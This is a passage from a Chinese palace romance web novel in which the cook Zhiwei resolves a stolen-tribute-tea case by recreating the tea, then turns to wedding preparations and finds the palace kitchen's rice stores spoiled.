知微在箱子中翻找,果真找到了一个小罐,里面装着的颗粒与装有“雪顶含翠”的锡罐一模一样。
见状,江覃厉喝:“大胆!”
“瞒天过海,偷换贡品,你可知这是砍头的大罪!”
江覃声音铿然,阿青“噗通”瘫倒在地,浑身筛糠,眼泪鼻涕汹涌而下。
“求大人饶命!大人饶命啊!奴才…奴才实在没法子了!”阿青枯瘦的手指痉挛般抠着地上的砖缝,“那、那贡茶,它……它本就是坏的啊!”
知微与江覃俱是一震。
“入库前例行开验,奴才不小心将罐子摔落在地,锡罐口被磕碰,摔出一些发霉的茶叶来。”
阿青眼神涣散,似又回到那绝望时刻:“奴才吓疯了!茶叶虽坏的不多,但毕竟是贡茶,发生霉烂,负责运输的人员第一个掉脑袋!可奴才只不过是顺手帮人搬了点东西,怎么就惹上了滔天罪责!”
“我就赶忙去找管事的赵公公,可他只瞧了一眼,便捏着我的鼻子骂。”
阿青抬起泪眼,里面是深不见底的恐惧:“赵公公说,到了我的手,这便是我的责任了。茶坏了,是我失手摔的,只能我自己担责。”
“他还问我记不记得茶圃旁边的那口枯井,前年冬天埋进去的小德子,骨头都该烂了。他说,小德子跟我一样,总爱说大实话。”
阿青一双脚不着寸履,俯趴在地上。
“赵公公劝我,这贡品多得像山一样,不过是一小罐茶,贵人们兴许早就忘了,又或者说,不过坏了一丁点茶叶,说不定压根不碍事,这茶是好是坏,舌头根本就尝不出来。”
“若是当作没发生、不存在,兴许什么事都不会有。可若是把这个事情上报,免不了一顿毒打,保不齐丢了性命。”
阿青猛地攥住知微的裙角,骨节凸起:“所以奴才不敢说,只能、只能偷了茶,想着……想着加点浓烈的柠檬粒子掺进去,兴许能盖住那霉味儿。”
“可意外发生了,我没控制好分量,加的太多,茶味变成了酸味,茶彻底坏了!”
“这下横竖都是死。”阿青喉头滚动,眼珠赫然瞪大,发出破风箱般的嗬嗬声,“奴才就想,不如、不如闹大点!干脆将茶叶全部偷走,这下,哪怕是灾,也是一群人的祸事,总比我一人背黑锅要强。”
“这般,到了黄泉,赵公公、那些克扣我伙食、欺压我的人,还能与我做个伴。”
“毕竟活着是孤人,死了总不能做野鬼吧!”阿青突然嘶吼起来,他像被抽了脊梁的软泥,直身后瘫伏在冰冷的地砖,只余下压抑到极致的呜咽。
寒风凛冽,卷过死寂的草原。
38. 多是无情春(三)
“陛下给你三日,如今只剩一天了。”营帐外,知微裹着厚毯,同江覃并肩坐在火堆旁。
盗取“雪顶含翠”的阿青是找到了,意外却发生了。
就在方才,二人带着捆起来的阿青到了茶渣的处理现场。
阿青指认了一口井,阐明自己将茶渣尽数倒入了井底。
黑夜漫天,知微与江覃朝井底望去,是口早就被荒废了的枯井。
天太黑了,什么也看不清。
江覃吩咐士兵准备绳索,待到晨曦后下去寻找茶渣,如此这般,多少是给盗窃案圆上了一个结局。
至于阿青,活罪难免。
知微听懂了江覃的话中意,阿青则不然。
像是早有预计,他趁着众人不注意,爬到了井口,接着,“哐当”一声,枯井灌入红液——
——
“从井底上来了三具尸体。”隔着火光,知微复盘士兵勘探的笔记,“除阿青外,其中一具有些年份,另一具,看上去是两三天前死的。”
“听说,也是一个苦久了的杂役。”知微补充。
江覃沉默着看向火堆,眼底尽是复杂。
他张嘴,只问:“原有的雪顶含翠呢?”
“士兵在井底找了大半天,从清晨到黄昏,整整一天,毫无所获。大抵,阿青骗了人。”
“虽说那茶本来就霉了,找回来也喝不了。”知微垂着头,声音轻得像叹息,“眼下更麻烦的是,贡茶渣都找不回来,就算知道是本来就坏的,没有证据,暹瀛那边也不会认。”
“他们只会觉得大昭在找借口,胡乱编造了个理由糊弄他们。”
“说到底,还是一场死局。”夜风更凉了,江覃面露苦笑。
“这个结局,其实也有预计。”
距离围猎结束只剩一天,自己的命还悬着。
这个结局,早该预计道。
江覃沉默片刻,走到草原中央,从怀中摸出支青玉长笛。
长笛横于唇畔,清越空灵的笛音流淌而出,非悲非喜,如月下寒泉,泠泠地穿透出岑寂。
笛声混着风声,听得人鼻酸。
知微踢了踢路边的石子:“都快死了,还有心思吹笛?”
“不去求一下陛下吗?或者是太子。”知微顿了顿,“你们不是情谊颇深吗。你去求他,兴许还能留下命来,什么不比活着重要?”
再说了,知微垂眸,回忆起两日前祝隶稷红眼的反应,她想,祝隶稷,多少,也是在乎江覃的。
江覃摇了摇头。
“我不愿再麻烦他。”
“他是太子,不该为了我这个娼妓之子得罪了权贵君王,再说了,陛下也不会愿意看到为了拯救一个我而出现政治矛盾。”
“狗屁劳什子太子,连身边之人都护不住,这太子有什么意义。”知微实在听不下去,也不懂江覃莫名其妙的不配得感从何而来,她蹬腿而起。
“哪有什么该不该,万一人家也正在想方设法救你,这不是寒了别人的心吗?”
虽说祝隶稷是块冰块,本身便足够寒气逼人就是了。
知微实在不能了解江覃别扭的太多,对她来说,想活,只要有这个念头就够了,哪还能有什么左思右想。
江覃放下笛来。
“我本就不该活这么久。”他声音淡得像水,“我娘是娼妓,我生下来就血统肮脏,成长在柳巷花街。后来江家嫡子病死,我爹——江家主生不出儿子,这才找见我,让我认祖归宗。替嫡子活。”
江覃笑了笑,眼底没多少暖意:“李代桃僵,这半生富贵,本就是偷来的。”
“如今还回去,也没什么可惜。”
“放屁!”知微再也忍受不了,眉间含火,一把将江覃推到地上,“谁告诉你这命是偷来的?你娘拼了命把你生下来,你自己凭着本事科举当谋士,这些都是你应得的!”
知微蹲下身,正过江覃的头,好让他盯住自己的眼:“命是给你的,你就得全权收下!什么李代桃僵,什么微不足道,都是你自己看不起自己!就算明天真的要死,今晚也该想尽办法来好好活着,而不是在这吹丧笛!”
玉笛冰冷的棱角硌着掌心。
江覃望着眼前怒目圆睁的女子,那双丹凤眼里燃着两簇不熄的野火。
他忽而就说不出话来。
眼前人杂草出身,流亡过多少地方,擦肩过多少刀枪,他不知道。
可是,对于知微眼底充斥着的存活本能,他却是最最熟络的。
他从前不也是被这份热烈所感染,才无数次出手帮扶的吗。
“没有你,我便活不到今日。”知微回想起江覃的恩情,“所以江覃,我不准你就这么放弃了自己。”
草原的风卷着知微的话,撞在江覃心上,那些深埋的不甘和求生欲,竟慢慢冒了出来。
“你说得对。”江覃站起身,拍了拍衣上的草屑,“不该就这么认了。”
“我们再想办法。”江覃拉起撑地的知微。
两个人在寒风中走着,从墨黑走到发亮,红日将升之际,有随侍送来热茶,知微小抿一口,有茶梗浮在上边。
她不由蹙眉。
“味道很奇怪吗?”江覃发现知微表情的微妙,随侍立即上前。
“大人,还剩了点碧螺春,我瞧着不够泡一壶茶,便擅自添了些绿茶混在一起。”
“糊弄了尚宫的舌尖,是小人的错。”随侍跪下作揖。
知微眨了眨眼:“雪顶含翠,它的味道,可有多人尝过?”
江覃愣住,细思片刻:“大抵是没有,就连进贡这茶的暹瀛国君都说它极其难得,是近些年才产出的新品,他自己也都只在前年尝过一回。”
“也就是说,在场并没有真正对‘雪顶含翠’的味道熟悉之人?”知微又问。
“既如此……”知微摩挲过杯盏,“我们何不……”
像是想到什么,江覃灵光一闪,望向知微:“你的意思是!”
两人对上眼,默契的保持沉默,知微笑了笑,问:“敢赌吗?”
江覃深吸一口气,回笑感慨:“这下真是釜底抽薪。”
——
距离结案还有不到十二个时辰,知微坐上了回宫的马车。
她手上攥着裹有仅剩茶渣的油纸包,面覆沉重。
所谓釜底抽薪并无其他,严格来说,实是偷天换日,知微要在一天内亲手仿制“雪顶含翠”,为此,她必须回宫,配齐所有原料。
此事若不成,便是欺君之罪。她没将它告诉祝明煜。
只祝隶稷找上了她,告诉她,车马和通关
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文书已尽数备齐。
祝隶稷站在马车旁,和江覃并肩。马夫驾着“黑电”,一点点掉头。
知微掀开车厢帘,竟和祝隶稷对视上。
她不再问祝隶稷是如何知晓她的所求,祝隶稷也不再出言,暗讽知微逃避低能。
马车开始行进,知微一只手拍胸,另一只化手为拳,指向祝隶稷的心脏。
祝隶稷盯住知微的拳头,扬起眉。
此刻二人同心,无须多言。
——
御膳房之内,下人尽散。
唯一的那点茶渣被珍重地摊在雪白宣纸上。
知微鼻尖几乎贴上碎叶,反复嗅闻辨识。
少昭则伏案看字,将暹瀛使团入贡时礼单上关于雪顶含翠的只言片语总结汇总。
“干茶绿中掺白,汤色澄澈如金,香气清冽,含幽兰之韵,隐带高山寒松气息。”
少央——逐一誊录。
“形似、色近、香韵…缺一不可。”知微指尖敲着桌面,目光灼灼,扫过案头备选的材料。
有上好的明前龙井,几包炒米,一罐新渍的糖桂花,还有一碟新晒的栀子花瓣。
案台上,摊放着十数杯或温或凉的茶,起初还用茶盏装,后来换了碗,再后来直接换了盆。
知微面上的从容也开始一点点破碎。
“龙井为骨,炒米取其焦香……”
咬断好几截指甲,知微的目光又落在那罐糖桂花上:“蜜糖裹桂花,取其甜香雅韵,不该有问题呀。”
炉火熊熊,砂锅架起。
一次又一次尝试,一锅又一锅废茶。
距离结案还有不到六个时辰。
已过晌午,只在马车上吃过些干粮,连嘴唇都干裂着,一回来便往御膳房钻,这样的成果,知微抠头皮到发麻也想不着出错在何处。
“师傅,喝点水吧。”阿福自门缝中挤出,小心出声。
知微一饮而尽,喝得太紧,呛到嗓子,几声咳嗽直直带着口水坠入铁锅,废了一锅新茶。
“你大爷!”知微一把丢开锅铲,嘶吼到胸口起伏不断。
完了,全完了。
回去的路上要花两三个时辰,可是现在的进度属实堪忧,最初只是成品茶的色泽差了些,后来演变成炒锅的火候过了,再接着,她连铲子都握不稳。
根本不行。
知微的手覆在面上,陷入绝望。
御膳房一阵死寂。
阿福默默走到一旁,拾起地上的锅铲,用水涮洗干净。
“师傅。”阿福开口,“你还有我呢。”
阿福收拾好桌面上的废茶,接过少央手上的茶谱,他看不懂上面写的文字,请求少央念给他听。
少央点头。
“栀子花汁染金黄汤色……”少央念叨着,一句一顿,阿福把着小石臼,一劲一碾。
知微屏息凝神,听着阿福的动静。
一小撮龙井茶尖投入滚烫的砂锅,阿福翻锅,自在如蝶。
茶叶受热蜷曲,渐透青翠。
一把雪白粳米撒入另一口烧红的铁锅,顷刻间,“噼啪”爆响,浓郁焦香混着米香蒸腾而起。
知微慢慢平静下来。
窗外,有眼睛望向灶台,后又齐齐聚在知微淌泪的面。
39. 多是无情春(四)
“为何不进去?”万珍儿左手挎着个小篮,身子微微低下,戳了戳御膳房众人的肩。
“啊啊啊!”有壮硕的厨子胆子小,被突然吓到,向前倾倒,带翻了身旁的三五个御膳房帮工。
“哎呦喂……”
知微听到门外传来的动静,推开门,好几团人跌坐在门口。
万珍儿眨了眨眼,一双杏眼圆溜,举起手来同知微打招呼。
“我们来帮你了。”孙为从旁钻出。
孙为眼疾手快,将炒至金黄的米粒扫入石臼,米粒渐成细粉。
万珍儿取出篮子里的糕点,摆在桌上,翘着脚看孙为干活。
“不问我们为何来的这么巧。”万珍儿捻着块杏仁糕,略过头跟着她手上的糕点摇摆的少昭,径直向两眼尚红肿的知微嘴里塞。
知微摇头,头上的汗都没力气擦,更没有心思去想这些事。
万珍儿觉得逗弄离魂的知微属实没味,推剩下几块糕点给少昭,自顾自解释起来。
原是祝明煜不知从哪得知了知微回宫制茶的消息,先一步传信到东宫,说知微性子强,也不太喜欢托别人帮忙,宫里熟悉的贵人都在朝贡现场,若是有什么意外,希望程玊芝等人能帮忙照顾一二。
“可惜太子妃前日感了风寒,怕传染给你,人来不了。”万珍儿取过青瓷钵,舀起澄澈蜂蜜与糖渍桂花仔细调和,“不过好在有我们,还有你忠实的下属,别忘了可不是一个人,对吧?”
万珍儿抬颌,不知觉中,御膳房早已人满为患。
力气大的御厨正将碾细的炒米粉均匀洒在炒好的龙井上,快速颠锅混合。力气不够的小厮则盯着火候,不时添柴。
“尚宫大人,您的身后还有我们呢。”其中一位御厨插嘴。
“虽说没有什么大技术,可这苦力活交给我们,您一定放心。”
“是啊是啊,我们也就只能帮些小忙了,不敌去年过春节,您又给我们添衣备食,还多给了不少赏钱。”
“总之您就在那休息吧,有什么活要干,尽管吩咐俺。”
御膳房的众人来自五湖四海,大多是粗人,没什么文化。
知微接手尚宫后习惯居于前线,与御膳房的人也算是朝夕相处。
她着实没想到,往日那些无意间的施恩,竟在此处积累、凝聚,化成了无数整齐划一的动作。
刀工利落,是她教的快刀法;调味细致,是她强调的基本功。
有暖流涌到知微心间,闻着熟悉的柴香味,紧悬的心不自觉软了下来。
“你们啊。”知微望着众人的笑脸,收起了哽咽,她直起身,撸起袖子,猛的一抹脸,加入战场。
距离结案还有三个时辰。
众人围在灶台,谁也不敢喘息。
茶已经制成,只差最后几道工序。
屏息间,知微倾入栀子花汁,茶色转成澄澈流金。
还有最后一步!阿福叫停预备欢呼的众人。
颤抖着,知微舀起一小勺蜜调桂花,精准点入翻腾的茶汤。
一股清幽甜香骤然迸发!
炒米的焦香与龙井的鲜爽在丝缕间缠绕,竟真氤氲出几分高山寒松的清冽。
知微捧起茶盏,澄金茶汤在白瓷映衬下光华流转,细嗅之下,香韵层叠。
几口下肚,是预设的味道。
知微眼中难掩震骇:“成了。”
成了!
成了!
御膳房顿时炸开。
人声欢腾,笑骂声、抽泣声混在一处,兴奋着,高昂着,腾跃着。
“快快前去吧。”万珍儿递过装满成品茶的小篮。
“我们都在宫中等你。”她又补充。
知微小心而郑重的接过篮子,“黑电”扬蹄蓄力猛奔,马车驶动,留下滚滚烟尘。
——
日月几个轮转,知微再一回下马,踏足皇城的土地,已是三日之后。
她坐着祝明煜的车驾,祝明煜先行下车,扶知微落驾。
知微脚刚一沾地,江覃便迎上来行礼。
“多谢知微姑娘救命之恩。”他重复道。
知微触了触耳朵,她已经连续听了三日了。
围猎盛宴的最后一日,黄昏与星月交换之际,夜压星斗,她终是赶上了结案的最后期限——
猎场高台旌旗招展,诸国君使列席,空气却紧绷如拉满的弓弦。
皇帝唇白面青,高踞主位,面色沉凝。
暹瀛国君莫罕端坐客席之首,嘴角噙着一丝胜券在握的冷笑。
知微端着一个紫檀茶盘,自侧阶踏上高台。
盘中仅有一只青玉盏,热气氤氲。
“贡茶在此,请陛下与诸君品鉴。”知微将茶盘高举过头,稳稳奉至御前。
内侍总管小心翼翼捧起茶盏,掀开盏盖。
刹那,一股奇异的香气逸散开来。似清泉涤过松林,又似幽兰绽放于雪谷,清冽中裹挟着难以言喻的甘甜焦香。
皇帝浅啜一口,端着茶盏的手不由得微微一顿,眼中惊疑与震撼交替闪过。
“此茶……”皇帝缓缓放下茶盏,目光扫过暹瀛国君莫罕。
“赐诸君共饮。”
内侍们鱼贯而入,将早已备好、分盛于白玉杯中的茶汤奉至各国君使案前。
知微则被皇帝指派到莫罕跟前,她端着茶盏,莫罕盯着面前白玉杯中澄澈金黄的茶汤,却没有立马上手接茶。
眼见其他公卿王侯都尝过“雪顶含翠”,发出连声赞叹,莫罕仍是不动。
他只是用鹰隼般的目光继续注视着茶盏,然后又将视线移到知微身上。
莫罕扫过知微的胸口、唇、眼睛,淡淡道:“我想见的是完好的贡茶,可你这小娘子,便这么私自动作,将成品端了上来。”
莫罕端茶的手上前,有意无意贴过知微:“你有想过这是多么珍贵的茶吗,若是使错了方法,或者说,弄差了味道,你有十个脑袋也赔不起。”
“让我想想,为何你般心急便将茶泡好了。莫不是没寻找贡茶,便以次充好。”
闻言,知微心间一凛。
她的手不自觉发颤,被莫罕抓住。
“小心些。”莫罕勾起唇角,露出虎牙来。他举起盘中的“雪顶含翠”,一饮而尽。
咕咚咕咚……
知微听到自己的心跳。
咕咚咕咚……
莫罕拭去嘴角的茶渍,忽而仰天大笑。
满场百十道目光聚焦于他。
知微身体一沉,她小心
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颔首,眼睫发颤。
“大王……”
“此茶果真是极品。”莫罕歪头,指尖轻敲椅缘。
“大昭真是人才辈出,极品茶叶配上极品手艺,看来,臣子供奉这“雪顶含翠”是做对了。”
像是草原上最雄伟的猎豹,莫罕直起身子,朝着皇帝敬了一大壶酒。
起身的瞬间,有掌风扇过知微的睫毛,带来密密麻麻的酸痒。
知微跪在地上,双膝紧紧贴着地,唯敢用余光觑过这位暹瀛国君。
——
知微抹了抹眼,自回忆中抽身。
江覃躬身行礼,祝明煜替知微回礼。
“你们这样,怕是到下辈子也理不清。”祝隶稷不知从哪冒出来,冲着你躬身我也躬身的二人轻飘道。
江覃与祝明煜终于同时挺身。
回程路上一阵奔波,知微有些犯困,当着祝隶稷的面打起哈欠来。
嘴巴尚未合上,祝隶稷又转身,冲知微道:“原来晏尚宫也在,看来是孤存在感不高,尚宫没看见。”
呵呵。
嫌自己无礼呢。
知微懒得搭理,扯过祝明煜的衣袖。
祝明煜拍拍知微的手。
“兄长,若是无事,我同知微便先行离去了。”祝明煜拱手,“我们还要去商讨婚事。”
知微这才想起祝明煜之前提过一嘴,等朝贡过后便要向圣上请旨赐婚。
时间真快呀。
知微掰了掰指头,距离那场“月候兰”求婚,竟已过去近三年。
她的脸不禁发红。
“婚事?”祝隶稷挑起眉头,“赐婚的圣旨都没下来,着什么急呢?”
他的视线又移到知微身上:“着急的莫不是尚宫大人吧,想早早攀了这门皇家亲,日后也好享尽权贵荣华。”
“二弟,婚嫁之事可不算小,须得两眼仔细着挑选。”
这话点她呢。
已经不是头一回了,只要见着知微,祝隶稷准没好话。
狗嘴吐不出象牙,王八又开始念经。
发什么羊癫。
知微撇嘴。
祝明煜上前半步,握住知微的手:“是臣弟心悦于知微,怕夜长梦多。”
“兄长也知道,父皇许了我婚事自由,只是之前事多,我二人也需时间磨合,遂未向上头请旨。”
“待到圣旨落定,兴许还要麻烦嫂嫂帮忙,一块筹备。”祝明煜笑得灿烂,尾音都是压不住的喜悦。
两个人的手紧紧贴着,好一番炙热。
祝隶稷还想说些什么。
他张了张口,知微感受到一阵嫌恶的视线。
你去看看眼睛吧。知微读出祝隶稷未言之语。
祝隶稷挥了挥衣袍:“不麻烦。”
这句话是对祝明煜说的。
四个人在宫道上走着,有一搭没一搭地说话。
知微听着祝隶稷与江覃聊政事,从北方大旱到祭奠举办,祝明煜偶尔搭语,她则是无聊的很,强憋着哈欠,免得又被祝隶稷评头论足。
从前怎么没有觉得宫道如此之长,也不知是第多少个话题,眼泪都偷偷抹去几回,总算听到了些八卦。
知微竖起耳。
是关于江覃的婚事。
40. 多是无情春(五)
江覃作为江家唯一的男丁,自然有义务延续血脉。说来也是,江覃同祝隶稷一般大,如今而立之年,身边连半个姬妾也没有。
江父自然是不愿看到这种情景。明里暗里透过各种方式向祝隶稷递话,希望能帮江覃撮合一段缘。
眼下无事,祝隶稷提了几嘴,列出了几个合适的对象:“庄家的女儿温婉,李家的女儿权重,蒋家的女儿对你痴心,依我看,都是不错的人选。”
“男子成家立业,娶个女人打理后宅、生儿育女求的不过轻松二字,倒也不必强求那女子有什么才华,温婉贤惠、安分守己即可。”
“毕竟,自古婚姻大事无外乎情利二字。”祝隶稷顿足,“你也老大不小,这些人中可有心仪的人选?我帮你请旨即可。”
话都到这份上,言语虽恶臭,但也是十足十的真心。
知微默默偷觑江覃的反应。
要她来选,定是蒋家的女儿。
婚姻大事的权力牵扯她弄不清,唯有真心二字合她心意。若是再细致些,倘若无法两情相悦,找个喜欢自己的,定要比自己喜欢的要幸福。
江覃没接祝隶稷的话,打了哈哈,将话题扯回政论祝隶稷固执不肯,又从将话题引回。
知微与祝明煜见两人踢毽子般你偏我正,气氛是旁人融不尽的诙谐,倒是找不着时候插语。
她又无聊到眼皮耷拉,江覃似是也终是受不了,竟然扯到祝隶稷的后院中去。
“前些日子的朝会,有不少大臣谏言,希望太子殿下开枝散叶。”江覃淡淡道。
江覃:“此事,太子妃可知晓?”
知微突然便不困了。
祝隶稷敛回调笑放松的嘴角:“时候未到。”
“那些人心底的算盘真当我不知道,什么‘开枝散叶’,不过是想留下自家血脉,将来好掌握朝局罢了。”
祝隶稷眸色一暗:“说什么温柔乡,女人带来的只会是一阵又一阵的耳旁风,孤对这种庸俗没有兴趣。”
“那晟儿呢,万一他将来并无明君潜质,又该当如何?”知微听着二人说话,无端想起祝晟为功课苦恼皱巴的神情,若要他将来挑上国君的大梁,属实是万分残忍。
知微下意识脱口而问,歪打正着的犀利。一时惊着众人。
“无明君潜质?”祝隶稷复述知微的话,忽而勾起冷笑,“无潜质又如何,鸟儿高飞,必经万次振翅,驽马十驾,功在锲而不舍。”
“若是他有成为君王的心,少不得自我磨砺。”祝隶稷语气冰冷,仿佛口中之人不是自己的血脉,只是一个死气的物件。
知微不由地汗颜。
祝隶稷走在前头,继续自顾道:“但若他连自我磨砺的能力都没有,那又是另一条路了。”
“国家需要贤明的君王,这是亘古不变的理。”
“只要有为,坐在太子之位的人,孤不介意,他从谁的腹中爬出。”
祝隶稷扫过知微,警告她方才的失言。
知微不敢再说话,悻悻偏过头,躲在祝明煜身后。
……
“知微姑娘,静芳苑可是还在前头。”又走了好一段距离,江覃打破冷局。
他手上还拎着自朝贡带回的礼品,想来是打算送到静芳苑。
江覃礼仪周到,知微也不想再驳她面,和祝明煜交换眼色后,她忙点头,道:“静芳苑要往前边拐角的右边处走,大人若是不介意,我请您到里边喝一盏茶吧。”
“如此,便……”麻烦二字尚未脱口,祝隶稷刮来一阵眼风,“还有朝政未议。”
“尚书房在拐角处左边。”祝隶稷道。
一左一右,两个相反的方向,江覃不过一双腿,抉择只在拐角。
滞了片刻,江覃微俯下身。
“多谢姑娘好意。”他歉意道。
四人就此作别。
江覃随祝隶稷左拐,知微二人向右。
——
几日后,静芳苑。
窗棂漏进半缕晨光,打在红木小桌。五色祥云暗纹式样的明黄色卷轴摊在桌面,婚书红印覆字。
知微“啪”地一声将一本厚厚的账册拍在桌上,震得旁边针线簸箩里的彩线都跳了跳。
“御膳房那群人最近是魔怔了不成?”知微叉腰,冲着坐在窗边软榻上的祝明煜抱怨,“说什么要精益求精,磨砺技艺。
“做个梅花糕,非得将上等莲子碾碎了筛三遍,筛下来的渣滓比用的粉还多!炖个鸡汤也是,撇浮沫撇得恨不得把油花都撇没了,清汤寡水,喝个什么劲儿?”
手中的算盘飞快拨弄,现出一个扎眼的数字。
知微把住算盘,抵住到祝明煜胸前:“半个月,仅仅半个月就花了从前一个月都用不完的花销。”
前些日子只顾着教育御膳房那群人提高质量了,结果成本噌噌上涨,纵然知道是皇家买单,可说到底,可以节流的浪费便是毫无意义。
知微挤开祝明煜的半个屁股墩,向后一倒。
“不光是原材料,连柴米油盐酱醋茶的购买量都远远大于过去,照这样下去,金山银山也经不起这么折腾。”知微哐当坐下,一只脚抬起,“我真得和他们好好说道说道。”
“是要好好说道说道。”祝明煜点头,眼神却往下。他的大手正捏着一根细小的绣花针,试图摆弄着手中那一方正红色的绸缎,显出反差的笨拙。
红绸上,一只金线勾勒的凤凰已初见雏形,只是那姿态……嗯,略显雄壮,尾羽也短促了些,乍一看,倒有几分像斗志昂扬的公鸡。
知微没得到想要的反应,“鸡”也不堪入目,自觉受了冷落,拍开祝明煜的手。
“听我说话啊!”绵绵一拳砸下去。
祝明煜张大嘴,夸张地向后仰:“哪没听你说话。”
知微:“我要你给点反应懂不懂?”
祝明煜委屈:“这又绣盖头又和你搭语,偶尔的失神也不可避免啊。”
“喏,我这不是忙着呢。”祝明煜推红盖头到知微面前,那只不成形的山鸡着实难以入眼。
知微偏头躲开。
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“可饶了我吧。”她道。
二人婚期将至,祝明煜手中的,正是成婚时需要的红盖头。
成婚的圣旨下来后,很快进入了筹备。大昭婚嫁的习俗繁琐,别的可以由他人代劳,只新嫁娘在出嫁时亲手绣一顶盖头的习俗需要亲自践行。
知微做饭还行,其他手工活也不算糟。唯有这些精细活是一点也碰不得。
一碰手都在发颤,压根拿不稳针。
祝明煜心疼她,打算自己代缝,知微也不想他因一个大男人做手工而被闲言笑话,每每叫他入宫后来静芳苑,在无旁人的地方动作。
知微凑近了盖头,伸出指尖,轻轻戳了戳那“凤凰”的脑袋:“祝大将军,你这凤凰的尾巴是不是短了点?”
“看着跟斗鸡似的。”晏尚宫锐评。
祝明煜的脸一下红了,连耳根都染上了绯色。
他有些窘迫地缩了缩手,小声嘟囔:“你又笑话我,要不你来?”
祝明煜塞盖头给知微,知微赶忙摆手:“我这不是也忙着嘛!”
她顺势就坐到了祝明煜腿上,双手揪住他胸前的衣襟,轻轻摇晃,声音拖长了调子,带着她自己都没察觉的娇憨:“成亲那么多事儿,婚服挑选、上下打点……我又不是三头六臂。再说了,这种精细活儿,不就得靠你嘛!”
“我们家明煜最厉害了,文武双全,连绣花都会!”知微一双丹凤闪烁,“求求你,求求你了嘛,你就帮我把盖头绣掉,嗯?”
“才不吃你这套。”祝明煜被她看得心尖发烫,又想起自己的原则,别过头来。
院子里,少昭正蹲在墙角,用一根狗尾巴草逗弄着一只毛茸茸的小野猫。草尖轻晃,小猫扑腾跳跃,发出细嫩的“喵呜”声。
屋里,知微看着生生着闷气的祝明煜,眼珠一转。
她捻起果盘里一颗水灵灵的紫葡萄。俯下身前倾,将葡萄在祝明煜眼前晃了晃,然后轻轻抵在他紧抿的唇上。
“错了错了,张嘴嘛。”她的声音带着点诱哄的意味。
祝明煜眼皮都没抬,闷闷地哼了一声,一口叼走葡萄。
“乖乖。”知微摸着祝明煜的头,其实她也不想总是泼祝明煜冷水,可祝明煜脾气好到没有下限,她总会不自觉挑逗,一不小心便过了火,又得哄人。
祝明煜咽下葡萄,声音依旧闷闷的。知微心里有愧,看他委屈巴巴的样子,心立马软了下来。
她凑到他耳边,压低声音,带着一丝神秘:“别生气了,带你去个好地方,保管你心情立马变好,怎么样?”
祝明煜的耳朵动了动,抬起了眼皮,疑惑又带着点期待,装模作样咳了咳。
“……去哪?”他破音道。
“都说了是好地方。”知微刮了下祝明煜的鼻尖,选择保持神秘,“晚上你去御膳房找我,我给你留了惊喜——不过得等巡城结束再去,可别让人瞧出破绽。”
祝明煜连连点头。
可保有期待是有代价的。好比接下来的一整天,祝明煜都魂不守舍。
41. 多是无情春(六)
傍晚时分,祝明煜带着一队亲兵在京城西市例行巡视。
祝明煜骑在马上巡视京城,目光总不由自主往皇宫的方向飘,连身边李明镜说的话都没听全。
“明煜小儿,今儿怎么有点心不在焉啊?”副将李明镜策马靠近,促狭地挤挤眼,“魂儿都不在了,是不是被未来的将军夫人勾走了?也是,喜事当头,眼睛飘忽了,差点撞到别人摊子上也是正常。”
闻言,祝明煜赶忙勒马,这才赶在撞到行人前停下。
“老伯,实在是抱歉。”祝明煜拱手,道。
旁边的几个亲兵嘿嘿笑起来。
祝明煜刚想喝止众人,余光却瞥见一个黑影从身旁掠过。
是个穿灰布短打的小偷,手里还攥着他刚还挂在腰间的钱袋。
腰间空空,祝明煜收回手。
他反应极快,脚尖在马镫上一点,身形如箭般窜出,一手扣住小偷的手腕,一手顺势夺过钱袋。
小偷的胳膊被他拧到身后,动弹不得。
“老实点!”祝明煜声音沉了沉,侍卫很快上前将小偷押住。
“最近京城的治安是差了些。”李明镜走上前,看着小偷被押走的背影,眉头皱了皱,“皇上身子不好,推行的政策又偏怀柔,难免底下有些宵小之辈钻了空子,懈怠了工作,连带京城的风气都坏了。”
祝明煜接过钱袋,掂了掂,确认东西没少,他扫了一眼被亲兵捆起来的小偷,又看了看周遭繁华却透着一丝浮躁的街市,没说什么,只是挥了挥手:“把人送官。继续巡视!”
好不容易挨到入夜,巡视结束,祝明煜换了身常服,快步走向御膳房。
刚推开门,就见知微手里举着条青布围裙,围裙上还绣着朵小小的白梅,她笑得眉眼弯弯,面颊的痣都透着灵动:“来了?快穿上,今儿你的任务是给我做碗甜酒冲蛋。”
?不是给他的惊喜吗?
祝明煜朝后退了几步,关上御膳房的门,确认自己没走错地方,又重新打开大门。
祝明煜:“方才你说什么?”
知微:“我说要你给我做甜酒冲蛋。”
“你说什么?”
知微拳头一紧:“伺候老娘做饭!”
“嗻。”顶着一个大包,祝明煜如梦初醒。
“我巡了一天城,腿都快麻了,你还让我做饭?御膳房的厨子呢?让他们做不就得了?”
没有美食,也没有温香软玉,活生生被骗来做奴仆。弯下腰生完火,后知后觉自己亏了的祝明煜撑了撑腰,试图为自己理论。
“这不是体贴你嘛。”知微把防油的围兜往他身上套,手指轻轻戳了戳他的胸口,“夜深人静的,没人看见,不会有人笑话你一个将军围着灶台转。再说了,你做的甜酒冲蛋,比御膳房的厨子做的还香。”
她凑近他耳边,声音压低了些,带着点狡黠:“我还特意温了坛米酒,你做的时候加两勺,味道更醇。”
祝明煜被她哄得没了脾气,无奈地耸了耸肩,接过围兜系好。甜酒冲蛋是两人在岭南时常做的餐肴,也是祝明煜为数不多、习得知微真传的菜。
祝明煜走到灶台前,掀开米缸,里面空空如也,只剩下些米粒碎屑。
“没新米了。”
“仓库里有旧米,拿那个凑活吧。”知微随口道,一边帮他擦干净灶台,一边解释,“就是放得久了些,没坏,算是御膳房预备的储存米,只是一般用上的机会不多,时间长了,米粒也不如新米饱满,不能给贵人用,咱们自己吃没事。”
知微节俭惯了,祝明煜也不是什么难养的胃,他点点头,转身去了御膳房后院的仓库。
仓库里堆着十几袋粮食,祝明煜点燃油灯,挑了最里面的粮袋搬出。
解开麻绳一看,里面的米粒发黄,还带着股淡淡的霉味,指尖一碰,竟有些发黏。
大抵是放太久了。祝明煜又接连打开旁边几袋旧米,可每一袋都是如此——米粒结块,霉斑点点,有的甚至还长出了细小的绿毛,根本没法用。
“你莫不是记错了。”祝明煜摸了把米回去,摊开给知微看,“看上去可不是稍微放久了点。”
“这米也就是半年前来的,不应该啊。”知微跟着祝明煜到了仓库,喃喃道。
看到满地散开的坏米,她神色立变。
蹲下身抓起一把米仔细查看,指尖沾到些发黏的霉粉,凑近鼻尖一闻,那股霉味更重了。
“不对劲。”知微起身清点了所有旧米袋,一共十二袋,竟没有一袋是好的,脸色越来越沉。
